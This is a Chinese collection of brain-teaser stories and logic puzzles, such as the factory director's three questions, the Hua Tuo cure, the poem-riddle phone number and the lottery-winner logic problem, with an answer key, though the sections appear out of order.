甲回答:”我双手接过报告,立即坐下来认真阅读。”老厂长听了,在他名字下面又画了个”0″。
乙回答:”我不但认真阅读,还要马上开座谈会,把有关人员请来,进一步充实方案,并组织实施。”老厂长在他名字下也画了一个”0″。
最后丙回答:”我接过报告,先说声谢谢,然后把它放进抽屉里,锁起来。”老厂长又在他名字下打了个”×”。
“第三道题”,老厂长又开口了:”当你接到厂长任期目标责任制的规定时,首先想的是什么?”
甲说:”我首先想的是要完成各项任期目标,对国家、对企业、对职工负责。”"0″。
乙说:”我首先想的是要提前、超额、争取翻番地完成各项任期目标,为国家、为企业、为职工做出更大贡献!”"0″。
丙站起来,他深沉地说:”我首先想到–企业的垮台。”"×”。
老厂长走到丙面前,说:”看来,你回答的问题,和他们完全不一样。请你向大家答辩你所回答过的问题。”当丙站起来一一回答了他为什么那样回答的理由时,全场响起来一片热烈掌声,大家一致同意选他当厂长。
你知道丙是怎样解释的吗?还有,老厂长为什么要画”0″和”×”,”0″和”×”表示什么意思呢?
23、片语解纷
清末陈树屏有急智和快才,善于用几句话解开人们的纠纷,人称他”片语解纷”。有一年,在他做江夏知县的时候,清朝著名大臣张之洞在湖北任差。张之洞与抚军谭继询关系不太合得来。有一天,陈树屏在黄鹤楼宴请张、谭等人。座客里有个人谈到江面宽窄问题。谭继询说是五里三分,张之洞就故意说是七里三分,双方争持不下,不肯丢自己面子。陈树屏知道他们明明是借题发挥,是狗扯羊皮,说不清楚的。他心里对两个人这样闹很不满,也很看不起,但是又怕宴会煞风景,扫了众人兴,于是灵机一动,从容不迫地拱拱手,言词谦恭地说了一句话就把争论解决了。
试问,他是怎样说的呢?
24、诗谜广告
一位香港商人决心推销国产化妆品。但港地进口化妆品太多,国货难以打开局面,销售情况不好。一次,她到上海进货,与一友人谈心,谈及销路不畅的苦恼,顺便请教有什么高招。友人很精通中国古典诗词,筹思良久,就密授一计,商人高高兴兴地回去了。数日之后,香港某大报登出一则诗谜广告,谜面是著名唐诗,张佑的《闺怨》:
故国三千里,
深宫二十年。
一声何满子,
双泪落君前。
下面是一行小字:
“猜一电话号码,最先猜中者奖足金首饰2两,谜底3日后在本报揭晓。”
此诗谜广告一出,顿时传遍港澳,许多稍通唐诗的妇女和男士们都乐此不疲。可惜都没有猜中,越发引得人们如醉如痴。化妆品由此大为畅销。3日后广告谜底揭晓。
你知道谜底是什么吗?请猜猜看。
25、改动一字扭乾坤
李某与吴某在同一条街市相隔不远处各自开了一家鞋店,且门面大小、店堂装潢、鞋的种类相差无几。同行竞争,势在必然。李某为了让顾客买鞋放心,灵机一动计上心来。一日,在店门口贴出告示–”凡本店出售的各类鞋,如有质量问题,包修3月!”顿时李某鞋店顾客盈门,生意兴隆。吴某一时没了主意,他知道如写出同类告示,不仅会受到李某奚落,而且已无新鲜感,自然缺乏竞争力。于是请来众友商量对策,一时议论纷纷,其中一位朋友缓缓说道:”只须改动一字,即可扭转乾坤!”吴某大喜,即向那位朋友请教,如法炮制,果然没几天生意盖过了李某,特别是一些购买高档鞋的顾客,大多到吴某鞋店选购。
试问,吴某改动了哪一个字呢?
26、踢垃圾桶
国外,有一位退休老人在学校附近买下了一栋简朴的住宅。最初几个星期很安静,不久,有3个年轻人开始在附近踢垃圾桶代足球,老人受不了他们的骚扰,但又无法可想。后来,他想到一计,便出去与他们谈判,说:”我年轻的时候也常常做这样的事情,你们能不能帮我一个忙?如果你们每天过来踢垃圾桶,我给你们每人一块钱。”这3个无所事事的年轻人很高兴,他们使劲地踢所有的垃圾桶。但是,过了几天,他们却不愿意踢垃圾桶了。
试问,这是什么道理呢?
27、巧说谎话
在蒙古锡林郭勒草原上,有一个富有而又刁钻古怪的王爷。他却有一个漂亮而善良的公主。公主成年后,求婚的人非常多。可是,王爷招取女婿的条件却非常特别,而且非常荒唐:凡是来求婚者,必须说一个谎话。如果王爷认为是谎话,那么就把公主嫁给他;如果王爷认为不是谎话,那么求婚者就得受到鞭打100下的惩罚。开始,许多聪明的小伙子都以为凭自己的智慧和口才,一定能说出漂亮的谎话,娶回美丽的公主。谁知,接连去了许多人,结果都只留下了遍体鞭伤。难道这么多人说的都不是谎话吗?原来,古怪的王爷患有虐待狂的毛病,不管别人怎么撒谎,他一概认为是真话。结果,小伙子们无论如何也不能娶到美丽的公主。这事被草原上最机智的人物巴拉根仓知道了,他决心娶到公主,给王爷一个教训。这天,他让人把草原上的牧民都叫到王爷府前,而且请王爷的大臣们也来旁听,然后当着众人的面对王爷撒了个弥天大谎。王爷开始还想像过去一样,坚持巴拉根仓说的是真话,可是当巴拉根仓刚刚说完,王爷就迫不急待地嚷道:”是谎话!是谎话!”其结果自然是王爷乖乖地嫁出了公主。
试问,巴拉根仓撒的是什么谎呢?
28、百元钞票
有一天,百货公司里挤满了顾客。一个小青年挑好了自己喜欢的服装后,从钱包里掏出人民币,交给售货员。售货员见是一张断成两截的壹百元钞票,就笑着对他说:”你把它贴好了再来买吧。这衣服我给你留着。”可是这位小青年不乐意,理直气壮地说:”这票子是刚才我在那儿买东西时,售货员找给我的。你不收不行。”说着指了指前面的柜台。售货员听后,笑了笑说:”青年人,说话要老实..”小青年不等她说完,马上气势汹汹地说:”你也不过去问问,怎么就随便下结论?”售货员不慌不忙地说出原因,在场的顾客听罢都纷纷指责这个小青年。
你知道这是什么原因吗?
29、谁中头奖
小赵家住四合院里。院里除住着赵家外,还住有钱家、孙家、李家。这一天小赵放学回家,还未进大院门,就听路人说:”市工商银行有奖储蓄开奖了,他们大院有家人家中了头奖。”小赵急忙跑回家问爸爸,爸爸说:”是钱家中了头奖!”他又去问钱伯伯,钱说:”是李家中了头奖!”但李家又说:”钱家方才中了头奖!”最后,小赵问孙家,孙爷爷说:”我不知道,反正我们家没有中头奖!”后来查证:只有一家说了真话。
试问,哪家中了头奖?
30、旧窑洞
1930年,在广西右江,一天,26岁的邓斌(即*,时任红七军政委)在摆脱一个连白匪的追击中,不小心把腿摔伤了。在这紧急关头,正巧我地下党一个外号叫”金钢锥”的交通员经过这里。”金钢锥”赶紧背起邓斌,蹚过布柳河(在百色附近),钻进离河不远的旧瓦窑里。迫赶邓斌的白匪搜到了窑洞口,但是,却没有进去搜查,因为邓斌想了一个办法,使白匪不愿进去。
你知道他想的是什么办法吗?
31、一封信
一位青年给大仲马写了一封信,建议两人合写一部小说。大仲马在回信中尖刻地写道:”先生,您怎么如此地胆大包天,竟然想把一匹高贵的马和一头卑贱的驴子套在一辆车上呢?–大仲马。”于是年轻人立即给大仲马写了一封回信。
大仲马接到回信后立即转怒为喜,马上复信道:
“请把文稿寄来,我的朋友。我很乐意接受您的建议。”
你能猜出年轻人的回信是怎么写的吗?
32、过年
从前有位花花公子名叫金志鹏,从小被父母娇生惯养,好吃懒做,交上了一班酒肉朋友,整日在外吃喝玩乐,嫖赌逍遥。父亲死后,金志鹏仍恶性不改,拿着银子当水花,很快就把遗产花个一干二净,成了个穷少爷。一年除夕,家家焕符,鸣鞭炮,欢庆新年。可穷少爷连年夜米也没有。于是他自嘲地写了副对子:”行节俭事,过淡泊年”,贴于门口。是夜,善良的舅父闻知外甥穷困潦倒,便买了2 斤肉,背了10斤米过来,见门前春联,感慨万端,便语重心长地对外甥说:”你这对联的头上,还应各加一个字!”说完令外甥取来红纸和笔砚,挥毫写了一副门联。穷少爷一看,羞愧不已,从此改邪归正,自力谋生,成了个回头浪子。试问,那个好心的舅父在对联头上各加了一个什么字?
33、考孔子
孔夫子周游列国,一日来到燕国。进城门不多远,见一少年盘坐在大道当中,不让马车通过。少年说:”我叫项橐,听说孔老先生是圣人,很有学问,特拦路求教。”孔夫子笑着说:”小孩儿,你遇到什么难题啦?”项橐立起,朝孔子拱拱手,然后问:”什么水没有鱼?什么火没有烟?什么树没有叶?什么花没有枝?”孔子听后说:”这顽童真问得古怪。江河湖海,什么水里都有鱼;不管柴草灯烛,什么火都有烟;至于植物,没有叶不能成树,没有枝难于开花。”项橐咯咯地笑了,晃着脑袋直喊”不对”,接着道出4物。孔夫子面红耳赤,慨叹道:”后生可畏啊,老夫拜你为师!”后人把这个故事编入了启蒙读物《三字经》,叫”昔仲尼,师项橐”。
试问,项橐说的是哪4物?
答 案
1 、太守看了信后,怒不可遏,连声呼喊:“抓住他!杀了他!”太守的人马分头追了两个小时,没有抓到华佗。太守又急又怒,气喘吁吁,大声咳嗽,吐了一大滩黑血。吐过之后,太守觉得轻松多了。第二天,华佗回来,将财礼退还主人,并告诉他:“你的病已经根除了。”原来,这是华佗为了让太守吐出瘀血,而采用的一种方法。
2 、他说:“英国的女王也是女的。按照你们的体制,女王是英国国家元首和全国武装部队总司令。”
3 、徐稚说:“按照那本书的说法,完全可以推导出这样的话:房子院套四方方,像个口字的形状,房子里头住着人,人在口中不吉祥。你也想想看,人在口字里,不就是‘囚’字了吗?那不是说,人住在房子里不就成了囚犯了吗?普天下的人都住在房子里,不都成了囚犯了吗?”郭林宗听了心服口服。于是,他下令工匠不要再砍树了。
4、 邱吉尔说:“总统先生,我这个英国首相在您面前可真没有一点隐瞒。”说完,两人哈哈大笑。
5 、“在中国的台湾省。”周总理的回答的确十分精彩,他不仅机智地回答了记者的问题,而且进一步表明了台湾是中国领土的一部分。
6、 朗宁坦然答道:“根据当地饮食习惯,你们是喝牛奶长大的,你们身上一定有牛的血统。”
7、 林肯说:“本总统收到过许多匿名信,全部只有正文,不见署名,而今天正好相反,刚才这位先生只署上了自己的名字,却忘了给我写信。”
说完,便继续他的演讲。
8 、谁家女多娇,何故落小桥?青丝随浪转,粉面泛波涛。
9、师傅说的一百一十一座庙,原来这里用的是谐音,意思是:一柏、一石、一座庙。
10 、海明威的回答:“是的,坐着写当然很舒服,但文章一写就长;站着容易腿累,逼得我尽可能写得简短些..等到最后校阅的时候,我就坐在安乐椅上。这时多么舒服,它容许我勾去一切在我看来是多余的东西。”原来这就是他的文章写得简洁的秘诀。
11 、假设甲说的第一句话是真的,那和乙说的第一句话(“克劳斯亲王是荷兰女王的丈夫”)相矛盾,所以不可能真。根据题意“三人都说对了一半”,所以甲说的第二句话(“菲利浦亲王是英女王的丈夫”)为真。既然此句为真,则乙的第二句话就为假,乙的第一句话就为真。乙的第一句话为真,则丙的第二句话为假。这样答案就是:菲利浦亲王是英女王的丈夫。克劳斯亲王是荷兰女王的丈夫。亨利亲王是丹麦女王的丈夫。
12 、“唯解漫天作雪飞。”意思是:白字连篇。“草色遥看近却无。”意思是:一片模糊。“两个黄鹂鸣翠柳,一行白鹭上青天。”意思是:不知所云,离题太远。“高山擂鼓,闻声百里。”意思是:不通!不通!“人有七窍,令郎已通六窍。”意思是:一窍不通。
13 、用列表法解题:
周一周二周三周四周五周六周日
理发店
×√√√√√√
银行
√√√√√××
农贸市场
√×√××√×
药店
√√√√√√×
×代表休息,√代表不休息,只有星期三都开门营业,所以他是在星期三进城的。
14 、老孙的羊最多,老王、老钱第二多,以下依次为老单、老毕、老李。
15 、根据题意,每人除懂本国语言以外,还懂一门其他国家的语言。5个人中懂德语的只有1 个人,他没法用德语跟其他人交谈。因为他是法国人,所以他必须坐在两个懂法语的人中间。因此,他左右必须是1 个法国人,1 个是懂法语的英国人。有这3 个人的位置,就可以确定其他两人的位置了。
16 、华罗庚先用手帕分别包上砂石或者其他重物,再将已有的砣放在台秤上,分别称出它们的重量,使其分别为1 千克、1.5 千克、2 千克等。称西瓜时,分别将其挂在底砣上使用,就可以起到砣的作用,用来准确称量了。
17 、张嘎有意把芦苇丛弄响,给敌人造成有人埋伏其中的假象,迫使敌人为了自卫而开枪,利用敌人的枪声给游击队报警。
18 、列宁解铜环的步骤是:首先把绳子两端连接在一起;然后把左边或右边的铁坏顺着绳圈移到另一端去,让铜环位移到绳子结头处;最后解开绳结,取下铜环。
19 、发觉有人开枪,最早是聋子。因为光的传播速度是每秒30万千米,比空气中声音的传播速度和子弹的飞行速度都要快得多。
20、比尔巴立刻在那条线下面划了一条更长的线,说:“陛下请看,现在您的一条线比这条线短了。”阿克巴看后无言以对,因为比尔巴的回答是符合国王提出的要求的。
21 、王安说:“只要是对的事情,绝不能优柔寡断,必须马上付诸行动。”
22 、第一个问题,丙是这样解释的:“这很简单,在座的很多人都知道王师傅工作一贯勤奋努力,他得胃溃疡已20 多年了,所以在饮食上宜少吃多餐。他在工作时间吃东西,是病理需要。这当然和工厂的制度相矛盾,但制度是死的,在执行中要灵活,特殊情况要特殊对待。”
第二个问题,丙的解释是:“我在一件事情的决策之前,是不愿受别人意见所左右的。如我当时看了报告,脑子里形成框子,我再考虑时就不容易跳出来。我不是不看,待我经过一段独立思考之后,再把报告拿出来研究,这样效果更好些。”
第三个问题,丙沉着地回答:“在目前激烈的竞争中,必须时时看到对手的长处,警惕自己的弱点,有一种危机感和紧迫感。只有这样,才能保持清醒的头脑,相应地制订出避免失败的对策。优势而无准备不是优势,劣势而有准备可以转为优势。只有居安思危,知已知彼,才能立于不败之地。”
3 个回答,有板有眼,说服力强。顿时,全场爆发了一阵热烈的掌声。
老厂长对“0”和“×”的用法是这样解释的:“按常规,这‘0’表示同意,这‘×’表示反对。而今天,这两个符号却有了特殊的含意,它表示着不同的思维方式。‘0’从起点开始又回到起点,这是封闭型的思维方式,这显然不符合当今时代的要求。‘×’两条直线一个中心,围绕一点向四周扩散,这是开放型的思维方式。只有展开思维的翅膀,勇于开拓,才能创造人间奇迹!”
老厂长才说完,全场又响起了一阵热烈的掌声。
23 、陈树屏说:“江面水涨就宽到七里三分,而落潮时便是五里三分。张督抚是指涨潮而言,而抚军大人是指落潮而言。两位大人都没说错,这有何怀疑的呢?”张、谭两人本来都是信口胡说,听了陈树屏的这个有趣的圆场,自然无话可说了。
24 、谜底是:××公司电话约购化妆品号码——300020——1288。使用本公司化妆品助你征服爱人,庶免闺怨。
说明:该诗首句“三千里”扣“3000”,次句“二十年”扣“20”,三四句“一声”“双泪”扣“12”,至于“88”乃双泪串落之意。
25 、这位朋友说:“将‘包修3 月’改为‘包退3 月’,且将‘退’字写得特别大!”吴某十分高兴,便如法炮制,果然没过几天,吴某的生意大大超过了李某。
26、过了数日,老人带着愁容去找他们:“通货膨胀减少了我的收入。”他说,“从现在起,我只能给你们每人5 角钱了。”这几个制造噪音的人不大高兴了,但还是接受了老人的钱,每天下午继续去踢垃圾桶。一个星期后,老人再找他们:“瞧!”他说,“我最近没收到养老金支票,所以每天只能给你们2 角5 分,行吗?”“区区2 角5 分?”一个年轻人大叫着:“你以为我们会为了这区区2 角5 分钱,来浪费我们的时间在这里踢垃圾桶?不成,我们不干了!”从此以后,老人的日子又恢复了往日的宁静。
27 、巴拉根仓撒的谎是:“王爷的王位本来是我的,硬是王爷从我手里强行夺去的!”巴拉根仓使王爷面临这样一个困境:如果承认巴拉根仓说的是谎话,那就要把女儿嫁给他;如果承认巴拉根仓说的是真话,那就应该把王位还给他。这两种结果都是王爷所不愿意的。但王爷更害怕失掉王位,只好嫁出公主,保住王位。
28 、小青年掏出的是一张壹百元的人民币,而壹百元的钞票是不可能当零钱找给顾客的。人们说话是不应该自相矛盾的。表面上看小青年的话有根有据。可是仔细分析,壹百元的钞票是我国钞票当中面额最大的。既然它是最大的票子,又怎么能够作其他钞票的找零呢?所以,小青年的话中隐含着矛盾,说明他的话是假的。
29、是赵家中了头奖。这可以从四家人的回答中一步步推出来。首先,可以确定赵家和李家说了假话,因为他们都说钱家中了头奖,而我们已知说真话的只有一家。这样,我们就确定了钱家没中头奖。然后,我们假设钱家说的是真话,即李家中了头奖,那么,孙家说的也是真话,这样,就不符合事实,因为只有一人说了真话。因此,钱家说的不是真话,即李没有中头奖。最后,既然赵家、李家、钱家都说了假话,那么只有孙家说的是真话,即孙家也没有中头奖。这样钱、李、孙3 家都没有中头奖,只有赵家中了头奖。
30 、瓦窑里阴暗潮湿,蚊子特别多,两人被叮得吃不消。不一会儿,邓斌想出了一个好办法。两人悄悄来到洞外,捉了许多善于结网的花背蜘蛛。把它们放在洞口结网。同时,又挥动衣服向外赶蚊子。过了一会,蜘蛛已结起了好几张大网,网上粘住了不少蚊子,追赶邓斌的白匪搜索到了窑洞口,洞内漆黑一片,连长便命一个排长进去瞧瞧,排长害怕,派班长,班长又推士兵,一个士兵无奈,走向洞口,发现有许多蜘蛛网。于是,赶紧回来,对连长说:“蜘蛛网都没破,哪有什么人进去啊!”连长听了觉得有道理,带了队伍去别处搜查了。邓斌发明的“蚊帐”不仅能挡蚊,而且还迷惑了敌人,这个消息很快在红军中传开了。
31 、年轻人回信中写道:“仲马先生:您怎么如此胆大包天,竟然把我比作马!”
32 、好心舅舅在上下联头各加一个字,成为“早行节俭事,免过淡泊年”。
33 、井水没有鱼,萤火没有烟,枯树没有叶,雪花没有枝。

1、华佗治病    东汉末年,有个太守得了不能进食的重病,就请华佗来治病。华佗给太守切脉之后,既没有开药方,又没有用针灸,就不声不响地走了。太守以为招待不周,赶忙送去财礼,请吃酒席。华佗见礼就收,见酒就吃,但就是不开药方。一晃10 多天过去了,太守让儿子去问华佗。而华佗却带着钱财走了,留下了一封信。信中骂道:”无耻太守,枉活人间!”可是当太守看了这封信以后,他的病却好了。    试问,这是什么道理呢?    2、真正的男人    英国陆军元帅蒙哥马利是个很高傲的人。1961 年访华期间,他观看戏剧《穆桂英挂帅》,大不以为然,说:”爱看女人当元帅的男人不是真正的男人,爱看女人当元帅的女人,不是真正的女人,怎么可以让女人当元帅呢?”中国陪同人员很机敏,立即说了一句话,就把蒙哥马利说得哑口无言。    试问,他说了一句什么话呢?    3、树在口中    有一天,11岁的徐稚去拜见郭林宗,正巧遇见他在院子里指挥工匠砍树。那是一棵青枝招展的松树,给小院增添了许多生气。这样一棵惹人喜爱的树,为啥要砍倒呢?徐稚便问郭林宗:”这棵树冬天能挡风,夏天能遮荫,砍倒多可惜啊!”郭林宗说:”你不知道,最近我看了一本书,那书上讲:房子院套四方方,像个口字,院子当中有棵树,木在口中不吉祥。你想想看,木在口里,不就成了’困’字了吗?我以后不就困难了吗?”听了这没边没沿的话,徐稚感到很好笑。于是,他灵机一动,想出一个反驳的办法来。    试问,他是怎样反驳的呢?    4、浴盆中会面    第二次世界大战期间,英国首相邱吉尔到华盛顿会见美国总统罗斯福,要求美国共同抗击德国法西斯,并给予物质援助。邱吉尔受到热情接待,被安排住进白宫。一天早晨,邱吉尔正躺在浴盆里抽着他那种特大号雪茄,突然,美国总统罗斯福推门进来。邱吉尔大腹便便,肚子露出水面,这两个大国的领导人在此刻会面,确实非常尴尬。而邱吉尔扔掉烟头,利用这特殊的场合以幽默的口吻说了一句话,就解除了尴尬的局面。    试问,邱吉尔是怎样说的呢?     5、一句妙语    50 年代,周恩来总理兼任外交部长。一次在北京举行记者招待会,他介绍了几年来经济建设的成就以及我国的对外方针之后,谦和地请记者们提问题。一位西方记者急不可待地站了起来,结结巴巴地说:”请问总理先生,中国可有妓女?”对于这一不怀好意的问话,总理坦然自若,他不假思索地说:”有。”这一回答,引起了全场的骚动。正在大家议论纷纷之际,总理紧接着补了一句,这句话一补,全场响起了一片掌声,大家无不为总理的妙语所折服。    试问,周总理补了一句什么话呢?    6、中国血统    加拿大前任外交官切斯特”朗宁,1893 年生于湖北的襄樊,是喝中国奶妈的乳汁长大的。他回国后,在30 岁竞选省议员时,反对派曾诋毁他,说:”你是喝中国人的奶长大的,你身上一定有中国血统。”但当朗宁反驳以后,反对派却无地自容。    试问,他是怎样反驳的呢?    7、”傻瓜”    有一次,林肯总统正在演讲,突然一个青年递给他一张纸条。林肯打开一看,上面只有两个字:”傻瓜”。林肯脸上掠过一丝阴云,随即镇定地说了一番话,就有力地反驳了这一污蔑。    试问,林肯是怎么说的呢?    8、郑板桥改诗    郑板桥年轻的时候,有一次跟老师到野外去玩。他们在小桥边,发现一具少女尸体。老师马上写诗一首:二八女多娇,风吹落小桥。三魂随浪转,七魄泛波涛。郑板桥听了,说:”你怎么知道这少女是16 岁?肯定是风吹下小桥的呢?你看见了她的三魂七魄随波打转吗?”老师被问得哑口无言,便反问道:”依你看这诗该怎么作?”郑板桥不假思索便把诗改了一下,老师听了,甚为折服。    试问,郑板桥把诗改成什么样的呢?    9、鲁班修庙    我国古代的建筑工匠鲁班十几岁就投师学艺,跟着师傅到南山密林中去修香岩寺。一天,鲁班陪师傅在山上游看,走到古柏和怪石跟前,师傅说:”古树怪石,真真少见!”鲁班说:”若在石上再建座庙,就更好了。”师傅看了看鲁班说:”好!你就在这儿修建成一百一十一座庙吧!”师傅这么一说,鲁班愣住了,心想:这儿虽有一块巨大的怪石,但哪里能容得下这么多庙啊?一连两天,鲁班都想不出如何修,愁得他茶饭不香。这天早饭后,鲁班又坐在古柏下,看着那巨大的怪石发愁。忽然他眼睛一亮,高兴地自语道:”师傅说的一百一十一座庙能修啦!”鲁班把自己的想法告诉师傅后,师傅夸他聪明,肯动脑筋。    试问,鲁班是怎样想的呢?    10、站着写作    美国作家海明威,他的作品一向以简洁的风格著称。他的《老人与海》等作品极受读者的欢迎。他平时有一种古怪脾气,喜欢站着写文章。一天,他的一个朋友拿着一份稿子来请教他。看他又是站着在写文章,禁不住问道:”我每次来时都看到你站着写文章,我真不明白是什么原因。站着不是太辛苦了吗?”    试问,海明威为什么要站着写作呢?    11、找答案    甲:克劳斯亲王是丹麦女王的丈夫。菲利浦亲王是英女王的丈夫。乙:克劳斯亲王是荷兰女王的丈夫,菲利浦亲王是丹麦女王的丈夫。丙:亨利亲王是丹麦女王的丈夫。克劳斯亲王是英女王的丈。他们三人都说对了一半,说错了一半。    你能找出正确答案吗?    12、蒲松龄批文章    蒲松龄曾当过胡守备的塾师,教他的一个冥顽不化的儿子。胡守备一介武夫,文才很浅,但望子成龙心切,看到蒲松龄批改作业时,好批语不多,就大发其火,埋怨老师教学无方。蒲见胡如此态度,又不能说昧心话,只得借用诗句,隐藏批评。下面是他在胡守备儿子文章上的几次批文:    第一篇因文章错别字太多,蒲松龄皱皱眉头挥笔批了句:”唯解漫天作雪飞。”    第二篇字迹不清,蒲松龄实在看不下去,就批了句:”草色遥看近却无。”    第三篇文章洋洋洒洒一大篇,什么事也没说清,他批了杜甫的两句诗:”两个黄鹂鸣翠柳,一行白鹭上青天。”    胡守备看到批文,不解其意,便问道:”老先生,犬子的文章可有进步?”蒲答道:”高山擂鼓,闻声百里。”胡还难以领悟,又问道:”我儿四书五经想必已贯通了吧?”蒲应声答道:”人有七窍,令郎已通六窍。”胡守备听得十分满意,蒲趁机辞馆而去。胡见到客人就出示蒲的批文夸耀儿子,客人听了个个掩口而笑。    你知道蒲松龄的批文是什么意思吗?    13、进城    上个星期的一天,我进了趟城。理了个发;买了一张那天发行的当地的周报;在农贸市场买了一些葡萄;在药店里买了一些药;还在银行里兑了一张50元的支票。理发店每星期一休息;银行每星期六和星期日休息;农贸市场只在星期一、三、六开张;药店每星期日休息。    你知道我是在上星期的星期几进城的吗?    14、谁的羊多    6个牧羊老人一同去放羊。老王和老钱的羊数一样,老单的羊比老李的多,可比老王的少。老毕的羊虽然没有老王、老单的多,可又比老李的多。老钱的羊比老孙的又要少一些。    请你说说到底谁的羊最多?    15、怎样安排    在一次国际青年学生联欢晚会上,来自4个国家的5位代表被安排坐在一张圆桌周围。为了使各位代表坐下后彼此间都能交谈,工作人员在安排座位前就预先了解了各位代表掌握的语言情况:甲是中国人,还会说英语;乙是法国人,还会说日语;丙是英国人,还会说法语;丁是日本人,还会说汉语;戊是法国人,还会说德语。工作人员根据这些情况,很快就把各人的座位安排好了。    试问,如请你来安排,你会怎样安排呢?    16、称西瓜    一天,农场采摘了一卡车西瓜,派人带上一台小台秤,到科学研究中心的建筑工地上出售。经过一路颠簸,卡车到达工地时,发现随车带的小台秤上除了底砣和一个1000克的秤砣还在外,其他的秤砣都丢失了。这样一来。这台秤最多只能称2000克,而送来的西瓜全是大西瓜,大的约8000克左右,小的也有3000多克。怎么办呢?叫人去借秤,可借不到。建筑工人们三三两两地来买西瓜解渴了。一听说无法过秤,都大为扫兴。有一个青年工人想了一阵,说:”把西瓜切开来称吧。”大家觉得这是个好主意。正准备切西瓜时,走来一位戴着眼镜,学者气十足的老人。他拦住大家说道:”这么多西瓜都切开称,吃不完不坏了吗?我倒有个主意,咱们不妨试试!”说着,他从裤袋里掏出自己的手帕,并接过其他人递过来的几张手帕,只花了几分钟的时间,小台秤就能称量了。当工人们美美地吃着西瓜时,聪明的老人已不知去向。一打听,才知道他就是中国大名鼎鼎的数学家–华罗庚。    请问,华罗庚用的是什么办法呢?    17、警报    《小兵张嘎》是一部深受少年儿童喜爱的故事片,它是根据抗战时期一位名叫张嘎的少年成长为抗日英雄的事迹改编的。张嘎有这样一个故事:    张嘎刚参加游击队时,没有得到武器,只有胖墩送给他的一串鞭炮。一天深夜,游击队转移到了一个小村子,帮助乡亲们埋藏粮食和财物。因为时间紧,人手少,队长就派张嘎替代哨兵,到村外1000米外的小桥边放哨,防备日本鬼子夜袭。队长告诉张嘎:”如果发现鬼子,马上点燃鞭炮报警。”张嘎来到小桥边,把鞭炮挂在树枝上,然后隐蔽在河边的芦苇丛中。由于连日行军,身困体乏,张嘎开始打起瞌睡来了。迷迷糊糊中,他突然感到小河对岸传来杂乱的脚步声。他睁开粘涩的眼皮一看,糟了,鬼子果然来偷袭了。于是,他赶忙掏出火柴,扳住树枝,就要点火。哪知慌乱中,树枝在手中一弹,把挂在上面的鞭炮弹到了河中。这下全完了,敌人眼看就要过来,可警报却没办法发出去,即使大声喊叫,远在1000米外的村里也不可能听见,怎么办?在这万分危急的时刻,小张嘎情急生智,想出了一个危险但却十分有效的报警方法,使游击队和乡亲们得到了安全。    请问,你知道张嘎的报警方法是什么吗?    18、智取铜环    列宁小时候,住在俄国辛比尔斯克(现乌里扬诺夫斯克)省。那时,他特别喜欢看马戏和魔术。到了冬天,大雪覆盖了大地,天气出奇的寒冷,列宁只能和兄弟姐妹们呆在家里。正当他们感到无聊的时候,家里来了一个会玩魔术的客人。孩子们非常高兴,终日缠着要客人表演。客人表演了一个又一个,孩子们仍不满足。客人有些烦了,可又不好正面拒绝。于是想了个点子,对孩子们说:”我这儿有根绳子,上面串着5个金属环。左边两个是铁环,右边两个也是铁环,只有中间的一个是铜环。”接着他让列宁和他哥哥一人抓住绳子的一头,又说道:”请你们想个办法,在不弄断绳子和金属坏、也不把左右两端的铁环取下的前提下,把铜环从绳子上解下来。等你们完成后,我再给大家表演魔术!”说完,他就转过头去同列宁的父亲闲谈,满以为这一下可以摆脱孩子们的纠缠了。但是,出乎这个客人的意料,他同列宁父亲的谈话还不到5分钟,就被列宁的欢呼声打断了!”我能够把它解下来了!”当着客人的面,列宁不慌不忙,很快就熟练地解下了铜环。没办法,客人只好继续给孩子们表演魔术。    试问,列宁是怎样按要求把铜环解下来的?    19、开枪难题    一天,华生医生和福尔摩斯在居室闲坐喝茶。华生自信自己也有较强的观察分析能力,决定出一个难题试试福尔摩斯,于是笑着说道:”福尔摩斯先生,我这儿有一个难题想请教一下您,行吗?”福尔摩斯转过头说:”行啊!你说说看。”华生喝了一口茶,开始出题:”在坎布连山区,有两座有名的高山,中间相隔大约500多米。一天,两个残疾人在一个正常人的带领下前来登山。两个残疾人中一个是瞎子,一个是聋子。3人在傍晚时分攀登到了一座山的顶峰。随后,面向对面的山峰停下来休息。那个正常人因为太疲倦,一坐下来就睡着了,而那两个残疾人还精神蛮好地坐着。夜已经很静了,突然对面山上有人向这边放了一枪,瞎子马上听见了”砰”的枪声;聋子也立刻看到了枪口上的火光,而睡着的人也在当时发觉了放枪,因为子弹刚好擦着他的耳根飞过。当后来警察来调查时,3人都夸耀自己感觉最敏锐,都说是自己最先发觉有人开枪。福尔摩斯先生,您能告诉我他们三人中谁是最先发觉有人开枪的吗?    20、把线变短    一天,国王阿克巴在纸上用笔划了一条线,然后对比尔巴说:”不许把这条线截断,但是你要把这条线变短,请吧!”这可是个难题,却难不倒聪明机智的比尔巴,他毫不费力地就解决了这个难题。    试问,他是怎样解决的呢?    21、教训    华裔电脑名人王安博士,在美国企业界是一位传奇人物。他一个人以600美元开始创业,到今天年营业额高达数十亿美元。而影响他一生的最大”教训”,发生在6岁之时。有一天王安外出玩耍,路经一棵大树,突然有东西掉在头上。他伸手一抓,原来是个鸟巢。他怕鸟粪弄脏了衣服,于是赶紧用手拨开。鸟巢掉落到了地上,从里面滚出一个嗷嗷待哺的小麻雀。他很喜欢,决定把它带回饲养,于是就连同鸟巢一起带回家。王安回到家门口,突然想到妈妈不允许在家养小动物,所以他轻轻地把小麻雀放在门口,急忙走入屋内,请求妈妈允许。在他苦苦哀求下,妈妈破例答应了儿子的要求。王安兴奋地跑出门外,不料小麻雀不见了,只见一只黑猫意犹未尽地擦拭着嘴巴,原来就在他向妈妈请求的时候,小麻雀已被黑猫吃掉了。他为此伤心了好久。从这件事,王安得到了一个很大的教训。    试问,你能说出王安的教训是什么吗?    22、考厂长    新星机床厂厂长张乐,被调到市委组织部当部长。临走前,上级委托他在厂里选拔一名厂长。经过层层推荐,信任投票,民意测验,有3位同志并列榜首。三个人条件相当,怎么办?老厂长想来想去,决定现场考厂长。下午4点钟,俱乐部里挤满了人。老厂长站在台中央,身后放了一块大黑板,黑板上写着甲、乙、丙3个人的名字,他们3位就坐在台上。”考厂长开始!”老厂长宣布,”今天由我出3道题,请你们回答,谁答对了谁当厂长。”    ”第一道题,”老厂长说,”咱们厂在企业整顿时,制定了厂规厂法,其中有一条规定,工作时间不准吃东西。今天上午10点钟,我到各车间巡视,一进装配车间大门,就发现老钳工王师傅往嘴里填饼干,他见了我,急忙捂着嘴,不好意思地低下了头。请问3位,假如你是厂长,对这件事怎样处理?”    